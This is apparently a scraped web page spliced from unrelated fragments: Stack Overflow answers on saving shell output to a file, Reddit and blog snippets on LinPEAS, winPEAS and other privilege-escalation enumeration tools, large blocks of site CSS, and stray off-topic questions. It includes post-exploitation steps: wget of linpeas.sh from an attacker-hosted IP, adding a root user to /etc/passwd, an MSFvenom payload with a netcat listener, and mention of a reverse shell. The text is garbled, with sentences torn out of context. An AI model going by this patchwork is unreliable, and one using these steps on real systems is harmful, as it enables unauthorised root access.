linpeas output to file linpeas output to file

One of the best things about LinPEAS is that it doesnt have any dependency. Is there a way to send all shell script output to both the terminal and a logfile, *plus* any text entered by the user? Basically, privilege escalation is a phase that comes after the attacker has compromised the victims machine where he tries to gather critical information related to systems such as hidden password and weak configured services or applications and etc. This step is for maintaining continuity and for beginners. Heres where it came from. This means that the attacker can create a user and password hash on their device and then append that user into the /etc/passwd file with root access and that have compromised the device to the root level. All it requires is the session identifier number to run on the exploited target. The checks are explained on book.hacktricks.xyz Check the Local Linux Privilege Escalation checklist from book.hacktricks.xyz. Since we are talking about the post-exploitation or the scripts that can be used to enumerate the conditions or opening to elevate privileges, we first need to exploit the machine. Some of the prominent features of Bashark are that it is a bash script that means that it can be directly run from the terminal without any installation. Download the linpeas.sh file from the Kali VM, then make it executable by typing the following commands: wget http://192.168.56.103/linpeas.sh chmod +x linpeas.sh Once on the Linux machine, we can easily execute the script. It was created by, Time to take a look at LinEnum. I found a workaround for this though, which us to transfer the file to my Windows machine and "type" it. It is basically a python script that works against a Linux System. Jealousy, perhaps? Refer to our MSFvenom Article to Learn More. Linpeas.sh - MichalSzalkowski.com/security This is an important step and can feel quite daunting. Why do many companies reject expired SSL certificates as bugs in bug bounties? The difference between the phonemes /p/ and /b/ in Japanese. Output to file $ linpeas -a > /dev/shm/linpeas.txt $ less -r /dev/shm/linpeas.txt Options-h To show this message-q Do not show banner-a All checks (1min of processes and su brute) - Noisy mode, for CTFs mainly-s SuperFast (don't check some time consuming checks) - Stealth mode-w If you preorder a special airline meal (e.g. ._3-SW6hQX6gXK9G4FM74obr{display:inline-block;vertical-align:text-bottom;width:16px;height:16px;font-size:16px;line-height:16px} Here, we downloaded the Bashark using the wget command which is locally hosted on the attacker machine. We downloaded the script inside the tmp directory as it has written permissions. Find the latest versions of all the scripts and binaries in the releases page. half up half down pigtails How to Redirect Command Prompt Output to a File - Lifewire In linpeas output, i found a port binded to the loopback address(127.0.0.1:8080). Do the same as winPEAS to read the output, but note that unlike winPEAS, Seatbelt has no pretty colours. By clicking Post Your Answer, you agree to our terms of service, privacy policy and cookie policy. It is possible because some privileged users are writing files outside a restricted file system. Read each line and send it to the output file (output.txt), preceded by line numbers. Try using the tool dos2unix on it after downloading it. We tap into this and we are able to complete privilege escalation. However, I couldn't perform a "less -r output.txt". Thanks for contributing an answer to Stack Overflow! Hence why he rags on most of the up and coming pentesters. Change), You are commenting using your Facebook account. LinuxSmartEnumaration. I have waited for 20 minutes thinking it may just be running slow. Discussion about hackthebox.com machines! linpeas output to file linux-exploit-suggester.pl (tutorial here), 1) Grab your IP address. Example: scp. So, in order to elevate privileges, we need to enumerate different files, directories, permissions, logs and /etc/passwd files. How to redirect and append both standard output and standard error to a file with Bash, How to change the output color of echo in Linux. The following code snippet will create a file descriptor 3, which points at a log file. Change). It is fast and doesnt overload the target machine. Lab 86 - How to enumerate for privilege escalation on a Linux target It implicitly uses PowerShell's formatting system to write to the file. So, if we write a file by copying it to a temporary container and then back to the target destination on the host. Linpeas output. This doesn't work - at least with with the script from bsdutils 1:2.25.2-6 on debian. How to find all files containing specific text (string) on Linux? Last edited by pan64; 03-24-2020 at 05:22 AM. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. You should be able to do this fine, but we can't help you because you didn't tell us what happened, what error you got, or anything about why you couldn't run this command. Cheers though. ._12xlue8dQ1odPw1J81FIGQ{display:inline-block;vertical-align:middle} execute winpeas from network drive and redirect output to file on network drive. However as most in the game know, this is not typically where we stop. LinPEAS has been tested on Debian, CentOS, FreeBSD and OpenBSD. Following information are considered as critical Information of Windows System: Several scripts are used in penetration testing to quickly identify potential privilege escalation vectors on Linux systems, and today we will elaborate on each script that works smoothly. We can also use the -r option to copy the whole directory recursively. However, I couldn't perform a "less -r output.txt". The checks are explained on book.hacktricks.xyz Project page https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS Installation wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh Run Which means that the start and done messages will always be written to the file. The Out-File cmdlet gives you control over the output that PowerShell composes and sends to the file. linPEAS analysis. ), Basic SSH checks, Which users have recently used sudo, determine if /etc/sudoers is accessible, determine if the current user has Sudo access without a password, are known good breakout binaries available via Sudo (i.e., nmap, vim etc. How to show that an expression of a finite type must be one of the finitely many possible values? ./my_script.sh | tee log.txt will indeed output everything to the terminal, but will only dump stdout to the logfile. MacPEAS Just execute linpeas.sh in a MacOS system and the MacPEAS version will be automatically executed Quick Start How do I check if a directory exists or not in a Bash shell script? This makes it perfect as it is not leaving a trace. Bulk update symbol size units from mm to map units in rule-based symbology, All is needed is to send the output using a pipe and then output the stdout to simple html file. With redirection operator, instead of showing the output on the screen, it goes to the provided file. ._2ik4YxCeEmPotQkDrf9tT5{width:100%}._1DR1r7cWVoK2RVj_pKKyPF,._2ik4YxCeEmPotQkDrf9tT5{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}._1DR1r7cWVoK2RVj_pKKyPF{-ms-flex-pack:center;justify-content:center;max-width:100%}._1CVe5UNoFFPNZQdcj1E7qb{-ms-flex-negative:0;flex-shrink:0;margin-right:4px}._2UOVKq8AASb4UjcU1wrCil{height:28px;width:28px;margin-top:6px}.FB0XngPKpgt3Ui354TbYQ{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start;-ms-flex-direction:column;flex-direction:column;margin-left:8px;min-width:0}._3tIyrJzJQoNhuwDSYG5PGy{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;width:100%}.TIveY2GD5UQpMI7hBO69I{font-size:12px;font-weight:500;line-height:16px;color:var(--newRedditTheme-titleText);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.e9ybGKB-qvCqbOOAHfFpF{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;width:100%;max-width:100%;margin-top:2px}.y3jF8D--GYQUXbjpSOL5.y3jF8D--GYQUXbjpSOL5{font-weight:400;box-sizing:border-box}._28u73JpPTG4y_Vu5Qute7n{margin-left:4px} HacknPentest I'm currently on a Windows machine, I used invoke-powershelltcp.ps1 to get a reverse shell. @keyframes _1tIZttmhLdrIGrB-6VvZcT{0%{opacity:0}to{opacity:1}}._3uK2I0hi3JFTKnMUFHD2Pd,.HQ2VJViRjokXpRbJzPvvc{--infoTextTooltip-overflow-left:0px;font-size:12px;font-weight:500;line-height:16px;padding:3px 9px;position:absolute;border-radius:4px;margin-top:-6px;background:#000;color:#fff;animation:_1tIZttmhLdrIGrB-6VvZcT .5s step-end;z-index:100;white-space:pre-wrap}._3uK2I0hi3JFTKnMUFHD2Pd:after,.HQ2VJViRjokXpRbJzPvvc:after{content:"";position:absolute;top:100%;left:calc(50% - 4px - var(--infoTextTooltip-overflow-left));width:0;height:0;border-top:3px solid #000;border-left:4px solid transparent;border-right:4px solid transparent}._3uK2I0hi3JFTKnMUFHD2Pd{margin-top:6px}._3uK2I0hi3JFTKnMUFHD2Pd:after{border-bottom:3px solid #000;border-top:none;bottom:100%;top:auto} Get now our merch at PEASS Shop and show your love for our favorite peas. To save the command output to a file in a specific folder that doesn't yet exist, first, create the folder and then run the command. ._1x9diBHPBP-hL1JiwUwJ5J{font-size:14px;font-weight:500;line-height:18px;color:#ff585b;padding-left:3px;padding-right:24px}._2B0OHMLKb9TXNdd9g5Ere-,._1xKxnscCn2PjBiXhorZef4{height:16px;padding-right:4px;vertical-align:top}.icon._1LLqoNXrOsaIkMtOuTBmO5{height:20px;vertical-align:middle;padding-right:8px}.QB2Yrr8uihZVRhvwrKuMS{height:18px;padding-right:8px;vertical-align:top}._3w_KK8BUvCMkCPWZVsZQn0{font-size:14px;font-weight:500;line-height:18px;color:var(--newCommunityTheme-actionIcon)}._3w_KK8BUvCMkCPWZVsZQn0 ._1LLqoNXrOsaIkMtOuTBmO5,._3w_KK8BUvCMkCPWZVsZQn0 ._2B0OHMLKb9TXNdd9g5Ere-,._3w_KK8BUvCMkCPWZVsZQn0 ._1xKxnscCn2PjBiXhorZef4,._3w_KK8BUvCMkCPWZVsZQn0 .QB2Yrr8uihZVRhvwrKuMS{fill:var(--newCommunityTheme-actionIcon)} Here, LinPEAS have shown us that the target machine has SUID permissions on find, cp and nano. LinPEAS monitors the processes in order to find very frequent cron jobs but in order to do this you will need to add the -a parameter and this check will write some info inside a file that will be deleted later. But it also uses them the identify potencial misconfigurations. It has a few options or parameters such as: -s Supply current user password to check sudo perms (INSECURE). This shell script will show relevant information about the security of the local Linux system,. Share Improve this answer Follow answered Dec 9, 2011 at 17:45 Mike 7,914 5 35 44 2 Firstly, we craft a payload using MSFvenom. Extremely noisy but excellent for CTF. Its always better to read the full result carefully. BOO! Okay I edited my answer to demonstrate another of way using named pipes to redirect all coloured output for each command line to a named pipe, I was so confident that this would work but it doesn't :/ (no colors), How Intuit democratizes AI development across teams through reusability. Private-i also extracted the script inside the cronjob that gets executed after the set duration of time. Then we have the Kernel Version, Hostname, Operating System, Network Information, Running Services, etc. ctf/README.md at main rozkzzz/ctf GitHub ./my_script.sh | tee log.txt will indeed output everything to the terminal, but will only dump stdout to the logfile. It has more accurate wildcard matching. It was created by, Keep away the dumb methods of time to use the Linux Smart Enumeration. How do I tell if a file does not exist in Bash? Better yet, check tasklist that winPEAS isnt still running. Is it plausible for constructed languages to be used to affect thought and control or mold people towards desired outcomes? If you find any issue, please report it using github issues. If the Windows is too old (eg. (Yours will be different), From my target I am connecting back to my python webserver with wget, #wget http://10.10.16.16:5050/linux_ex_suggester.pl, This command will go to the IP address on the port I specified and will download the perl file that I have stored there. eCPPT (coming soon) In the beginning, we run LinPEAS by taking the SSH of the target machine and then using the curl command to download and run the LinPEAS script. I was trying out some of the solutions listed here, and I also realized you could do it with the echo command and the -e flag. Reading winpeas output : r/hackthebox - reddit The amount of time LinPEAS takes varies from 2 to 10 minutes depending on the number of checks that are requested. Wget linpeas - irw.perfecttrailer.de In that case you can use LinPEAS to hosts dicovery and/or port scanning. linux - How to write stdout to file with colors? - Stack Overflow Is it possible to create a concave light? .Rd5g7JmL4Fdk-aZi1-U_V{transition:all .1s linear 0s}._2TMXtA984ePtHXMkOpHNQm{font-size:16px;font-weight:500;line-height:20px;margin-bottom:4px}.CneW1mCG4WJXxJbZl5tzH{border-top:1px solid var(--newRedditTheme-line);margin-top:16px;padding-top:16px}._11ARF4IQO4h3HeKPpPg0xb{transition:all .1s linear 0s;display:none;fill:var(--newCommunityTheme-button);height:16px;width:16px;vertical-align:middle;margin-bottom:2px;margin-left:4px;cursor:pointer}._1I3N-uBrbZH-ywcmCnwv_B:hover ._11ARF4IQO4h3HeKPpPg0xb{display:inline-block}._2IvhQwkgv_7K0Q3R0695Cs{border-radius:4px;border:1px solid var(--newCommunityTheme-line)}._2IvhQwkgv_7K0Q3R0695Cs:focus{outline:none}._1I3N-uBrbZH-ywcmCnwv_B{transition:all .1s linear 0s;border-radius:4px;border:1px solid var(--newCommunityTheme-line)}._1I3N-uBrbZH-ywcmCnwv_B:focus{outline:none}._1I3N-uBrbZH-ywcmCnwv_B.IeceazVNz_gGZfKXub0ak,._1I3N-uBrbZH-ywcmCnwv_B:hover{border:1px solid var(--newCommunityTheme-button)}._35hmSCjPO8OEezK36eUXpk._35hmSCjPO8OEezK36eUXpk._35hmSCjPO8OEezK36eUXpk{margin-top:25px;left:-9px}._3aEIeAgUy9VfJyRPljMNJP._3aEIeAgUy9VfJyRPljMNJP._3aEIeAgUy9VfJyRPljMNJP,._3aEIeAgUy9VfJyRPljMNJP._3aEIeAgUy9VfJyRPljMNJP._3aEIeAgUy9VfJyRPljMNJP:focus-within,._3aEIeAgUy9VfJyRPljMNJP._3aEIeAgUy9VfJyRPljMNJP._3aEIeAgUy9VfJyRPljMNJP:hover{transition:all .1s linear 0s;border:none;padding:8px 8px 0}._25yWxLGH4C6j26OKFx8kD5{display:inline}._2YsVWIEj0doZMxreeY6iDG{font-size:12px;font-weight:400;line-height:16px;color:var(--newCommunityTheme-metaText);display:-ms-flexbox;display:flex;padding:4px 6px}._1hFCAcL4_gkyWN0KM96zgg{color:var(--newCommunityTheme-button);margin-right:8px;margin-left:auto;color:var(--newCommunityTheme-errorText)}._1hFCAcL4_gkyWN0KM96zgg,._1dF0IdghIrnqkJiUxfswxd{font-size:12px;font-weight:700;line-height:16px;cursor:pointer;-ms-flex-item-align:end;align-self:flex-end;-webkit-user-select:none;-ms-user-select:none;user-select:none}._1dF0IdghIrnqkJiUxfswxd{color:var(--newCommunityTheme-button)}._3VGrhUu842I3acqBMCoSAq{font-weight:700;color:#ff4500;text-transform:uppercase;margin-right:4px}._3VGrhUu842I3acqBMCoSAq,.edyFgPHILhf5OLH2vk-tk{font-size:12px;line-height:16px}.edyFgPHILhf5OLH2vk-tk{font-weight:400;-ms-flex-preferred-size:100%;flex-basis:100%;margin-bottom:4px;color:var(--newCommunityTheme-metaText)}._19lMIGqzfTPVY3ssqTiZSX._19lMIGqzfTPVY3ssqTiZSX._19lMIGqzfTPVY3ssqTiZSX{margin-top:6px}._19lMIGqzfTPVY3ssqTiZSX._19lMIGqzfTPVY3ssqTiZSX._19lMIGqzfTPVY3ssqTiZSX._3MAHaXXXXi9Xrmc_oMPTdP{margin-top:4px} You will get a session on the target machine. To get the script manual you can type man script: In the RedHat/Rocky/CentOS family, the ansi2html utility does not seem to be available (except for Fedora 32 and up). May have been a corrupted file. In this article, we will shed light on some of the automated scripts that can be used to perform Post Exploitation and Enumeration after getting initial accesses on Linux based Devices. LinPEAS - Linux Privilege Escalation Awesome Script, From less than 1 min to 2 mins to make almost all the checks, Almost 1 min to search for possible passwords inside all the accesible files of the system, 20s/user bruteforce with top2000 passwords, 1 min to monitor the processes in order to find very frequent cron jobs, Writable files in interesting directories, SUID/SGID binaries that have some vulnerable version (it also specifies the vulnerable version), SUDO binaries that can be used to escalate privileges in sudo -l (without passwd) (, Writable folders and wilcards inside info about cron jobs, SUID/SGID common binaries (the bin was already found in other machines and searchsploit doesn't identify any vulnerable version), Common names of users executing processes. Kernel Exploits - Linux Privilege Escalation which forces it to be verbose and print what commands it runs. I would recommend using the winPEAS.bat if you are unable to get the .exe to work. The purpose of this script is the same as every other scripted are mentioned. LinPEAS uses colors to indicate where does each section begin. Appreciate it. Run it on a shared network drive (shared with impackets smbserver) to avoid touching disk and triggering Win Defender. 7) On my target machine, I connect to the attacker machine and send the newly linPEAS file. A place to work together building our knowledge of Cyber Security and Automation. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. In particular, note that if you have a PowerShell reverse shell (via nishang), and you need to run Service Control sc.exe instead of sc since thats an alias of Set-Content, Thanks. Create an account to follow your favorite communities and start taking part in conversations. LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. Windows winpeas.exe is a script that will search for all possible paths to escalate privileges on Windows hosts. This makes it enable to run anything that is supported by the pre-existing binaries. This is the exact same process or linPEAS.sh, The third arrow I input "ls" and we can see that I have successfully downloaded the perl script. Share Improve this answer answered Dec 10, 2014 at 10:54 Wintermute XP) then theres winPEAS.bat instead. By default, sort will arrange the data in ascending order. LinPEAS is a script that searches for possible paths to escalate privileges on Linux/Unix hosts. Intro to Powershell After downloading the payload on the system, we start a netcat listener on the local port that we mentioned while crafting the payload. LinPEAS has been designed in such a way that it won't write anything directly to the disk and while running on default, it won't try to login as another user through the su command. To subscribe to this RSS feed, copy and paste this URL into your RSS reader. I have no screenshots from terminal but you can see some coloured outputs in the official repo. By accepting all cookies, you agree to our use of cookies to deliver and maintain our services and site, improve the quality of Reddit, personalize Reddit content and advertising, and measure the effectiveness of advertising. I can see the output on the terminal, but the file log.txt doesn'tseem to be capturing everything (in fact it captures barely anything). Jordan's line about intimate parties in The Great Gatsby? Press question mark to learn the rest of the keyboard shortcuts. https://m.youtube.com/watch?v=66gOwXMnxRI. Staging Ground Beta 1 Recap, and Reviewers needed for Beta 2. .c_dVyWK3BXRxSN3ULLJ_t{border-radius:4px 4px 0 0;height:34px;left:0;position:absolute;right:0;top:0}._1OQL3FCA9BfgI57ghHHgV3{-ms-flex-align:center;align-items:center;display:-ms-flexbox;display:flex;-ms-flex-pack:start;justify-content:flex-start;margin-top:32px}._1OQL3FCA9BfgI57ghHHgV3 ._33jgwegeMTJ-FJaaHMeOjV{border-radius:9001px;height:32px;width:32px}._1OQL3FCA9BfgI57ghHHgV3 ._1wQQNkVR4qNpQCzA19X4B6{height:16px;margin-left:8px;width:200px}._39IvqNe6cqNVXcMFxFWFxx{display:-ms-flexbox;display:flex;margin:12px 0}._39IvqNe6cqNVXcMFxFWFxx ._29TSdL_ZMpyzfQ_bfdcBSc{-ms-flex:1;flex:1}._39IvqNe6cqNVXcMFxFWFxx .JEV9fXVlt_7DgH-zLepBH{height:18px;width:50px}._39IvqNe6cqNVXcMFxFWFxx ._3YCOmnWpGeRBW_Psd5WMPR{height:12px;margin-top:4px;width:60px}._2iO5zt81CSiYhWRF9WylyN{height:18px;margin-bottom:4px}._2iO5zt81CSiYhWRF9WylyN._2E9u5XvlGwlpnzki78vasG{width:230px}._2iO5zt81CSiYhWRF9WylyN.fDElwzn43eJToKzSCkejE{width:100%}._2iO5zt81CSiYhWRF9WylyN._2kNB7LAYYqYdyS85f8pqfi{width:250px}._2iO5zt81CSiYhWRF9WylyN._1XmngqAPKZO_1lDBwcQrR7{width:120px}._3XbVvl-zJDbcDeEdSgxV4_{border-radius:4px;height:32px;margin-top:16px;width:100%}._2hgXdc8jVQaXYAXvnqEyED{animation:_3XkHjK4wMgxtjzC1TvoXrb 1.5s ease infinite;background:linear-gradient(90deg,var(--newCommunityTheme-field),var(--newCommunityTheme-inactive),var(--newCommunityTheme-field));background-size:200%}._1KWSZXqSM_BLhBzkPyJFGR{background-color:var(--newCommunityTheme-widgetColors-sidebarWidgetBackgroundColor);border-radius:4px;padding:12px;position:relative;width:auto} 10 Answers Sorted by: 52 Inside your Terminal Window, go to Edit | Profile Preferences, click on the Scrolling tab, and check the Unlimited checkbox underneath the Scrollback XXX lines row. It was created by Z-Labs. It was created by, File Transfer Cheatsheet: Windows and Linux, Linux Privilege Escalation: DirtyPipe (CVE 2022-0847), Windows Privilege Escalation: PrintNightmare. I did the same for Seatbelt, which took longer and found it was still executing. The basic working of the LES starts with generating the initial exploit list based on the detected kernel version and then it checks for the specific tags for each exploit. The amount of time LinPEAS takes varies from 2 to 10 minutes depending on the number of checks that are requested. The official repo doesnt have compiled binaries, you can compile it yourself (which I did without any problems) or get the binaries here compiled by carlos (author of winPEAS) or more recently here. It was created by, Checking some Privs with the LinuxPrivChecker. ._3oeM4kc-2-4z-A0RTQLg0I{display:-ms-flexbox;display:flex;-ms-flex-pack:justify;justify-content:space-between} How to use winpeas.exe? : r/oscp - reddit The same author also has one for Linux, named linPEAS and also came up with a very good OSCP methodology book. This page was last edited on 30 April 2020, at 09:25. This application runs at root level. We tap into this and we are able to complete, How to Use linPEAS.sh and linux-exploit-suggester.pl, Spam on Blogger (Anatomy of SPAM comments). This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository. ), Locate files with POSIX capabilities, List all world-writable files, Find/list all accessible *.plan files and display contents, Find/list all accessible *.rhosts files and display contents, Show NFS server details, Locate *.conf and *.log files containing keyword supplied at script runtime, List all *.conf files located in /etc, .bak file search, Locate mail, Checks to determine if were in a Docker container checks to see if the host has Docker installed, checks to determine if were in an LXC container. Checking some Privs with the LinuxPrivChecker. etc but all i need is for her to tell me nicely. nohup allows a job to carry on even if the console dies or is closed, useful for lengthy backups etc, but here we are using its automatic logging. Reading winpeas output I ran winpeasx64.exe on Optimum and was able to transfer it to my kali using the impacket smbserver script. The process is simple. LinEnum is a shell script that works in order to extract information from the target machine about elevating privileges. LinPEAS is a script that search for possible paths to escalate privileges on Linux/Unix*/MacOS hosts. Also try just running ./winPEAS.exe without anything else and see if that works, if it does then work on adding the extra commands. ._38lwnrIpIyqxDfAF1iwhcV{background-color:var(--newCommunityTheme-widgetColors-lineColor);border:none;height:1px;margin:16px 0}._37coyt0h8ryIQubA7RHmUc{margin-top:12px;padding-top:12px}._2XJvPvYIEYtcS4ORsDXwa3,._2Vkdik1Q8k0lBEhhA_lRKE,.icon._2Vkdik1Q8k0lBEhhA_lRKE{border-radius:100%;box-sizing:border-box;-ms-flex:none;flex:none;margin-right:8px}._2Vkdik1Q8k0lBEhhA_lRKE,.icon._2Vkdik1Q8k0lBEhhA_lRKE{background-position:50%;background-repeat:no-repeat;background-size:100%;height:54px;width:54px;font-size:54px;line-height:54px}._2Vkdik1Q8k0lBEhhA_lRKE._1uo2TG25LvAJS3bl-u72J4,.icon._2Vkdik1Q8k0lBEhhA_lRKE._1uo2TG25LvAJS3bl-u72J4{filter:blur()}.eGjjbHtkgFc-SYka3LM3M,.icon.eGjjbHtkgFc-SYka3LM3M{border-radius:100%;box-sizing:border-box;-ms-flex:none;flex:none;margin-right:8px;background-position:50%;background-repeat:no-repeat;background-size:100%;height:36px;width:36px}.eGjjbHtkgFc-SYka3LM3M._1uo2TG25LvAJS3bl-u72J4,.icon.eGjjbHtkgFc-SYka3LM3M._1uo2TG25LvAJS3bl-u72J4{filter:blur()}._3nzVPnRRnrls4DOXO_I0fn{margin:auto 0 auto auto;padding-top:10px;vertical-align:middle}._3nzVPnRRnrls4DOXO_I0fn ._1LAmcxBaaqShJsi8RNT-Vp i{color:unset}._2bWoGvMqVhMWwhp4Pgt4LP{margin:16px 0;font-size:12px;font-weight:400;line-height:16px}.icon.tWeTbHFf02PguTEonwJD0{margin-right:4px;vertical-align:top}._2AbGMsrZJPHrLm9e-oyW1E{width:180px;text-align:center}.icon._1cB7-TWJtfCxXAqqeyVb2q{cursor:pointer;margin-left:6px;height:14px;fill:#dadada;font-size:12px;vertical-align:middle}.hpxKmfWP2ZiwdKaWpefMn{background-color:var(--newCommunityTheme-active);background-size:cover;background-image:var(--newCommunityTheme-banner-backgroundImage);background-position-y:center;background-position-x:center;background-repeat:no-repeat;border-radius:3px 3px 0 0;height:34px;margin:-12px -12px 10px}._20Kb6TX_CdnePoT8iEsls6{-ms-flex-align:center;align-items:center;display:-ms-flexbox;display:flex;margin-bottom:8px}._20Kb6TX_CdnePoT8iEsls6>*{display:inline-block;vertical-align:middle}.t9oUK2WY0d28lhLAh3N5q{margin-top:-23px}._2KqgQ5WzoQRJqjjoznu22o{display:inline-block;-ms-flex-negative:0;flex-shrink:0;position:relative}._2D7eYuDY6cYGtybECmsxvE{-ms-flex:1 1 auto;flex:1 1 auto;overflow:hidden;text-overflow:ellipsis}._2D7eYuDY6cYGtybECmsxvE:hover{text-decoration:underline}._19bCWnxeTjqzBElWZfIlJb{font-size:16px;font-weight:500;line-height:20px;display:inline-block}._2TC7AdkcuxFIFKRO_VWis8{margin-left:10px;margin-top:30px}._2TC7AdkcuxFIFKRO_VWis8._35WVFxUni5zeFkPk7O4iiB{margin-top:35px}._1LAmcxBaaqShJsi8RNT-Vp{padding:0 2px 0 4px;vertical-align:middle}._2BY2-wxSbNFYqAy98jWyTC{margin-top:10px}._3sGbDVmLJd_8OV8Kfl7dVv{font-family:Noto Sans,Arial,sans-serif;font-size:14px;font-weight:400;line-height:21px;margin-top:8px;word-wrap:break-word}._1qiHDKK74j6hUNxM0p9ZIp{margin-top:12px}.Jy6FIGP1NvWbVjQZN7FHA,._326PJFFRv8chYfOlaEYmGt,._1eMniuqQCoYf3kOpyx83Jj,._1cDoUuVvel5B1n5wa3K507{-ms-flex-pack:center;justify-content:center;margin-top:12px;width:100%}._1eMniuqQCoYf3kOpyx83Jj{margin-bottom:8px}._2_w8DCFR-DCxgxlP1SGNq5{margin-right:4px;vertical-align:middle}._1aS-wQ7rpbcxKT0d5kjrbh{border-radius:4px;display:inline-block;padding:4px}._2cn386lOe1A_DTmBUA-qSM{border-top:1px solid var(--newCommunityTheme-widgetColors-lineColor);margin-top:10px}._2Zdkj7cQEO3zSGHGK2XnZv{display:inline-block}.wzFxUZxKK8HkWiEhs0tyE{font-size:12px;font-weight:700;line-height:16px;color:var(--newCommunityTheme-button);cursor:pointer;text-align:left;margin-top:2px}._3R24jLERJTaoRbM_vYd9v0._3R24jLERJTaoRbM_vYd9v0._3R24jLERJTaoRbM_vYd9v0{display:none}.yobE-ux_T1smVDcFMMKFv{font-size:16px;font-weight:500;line-height:20px}._1vPW2g721nsu89X6ojahiX{margin-top:12px}._pTJqhLm_UAXS5SZtLPKd{text-transform:none}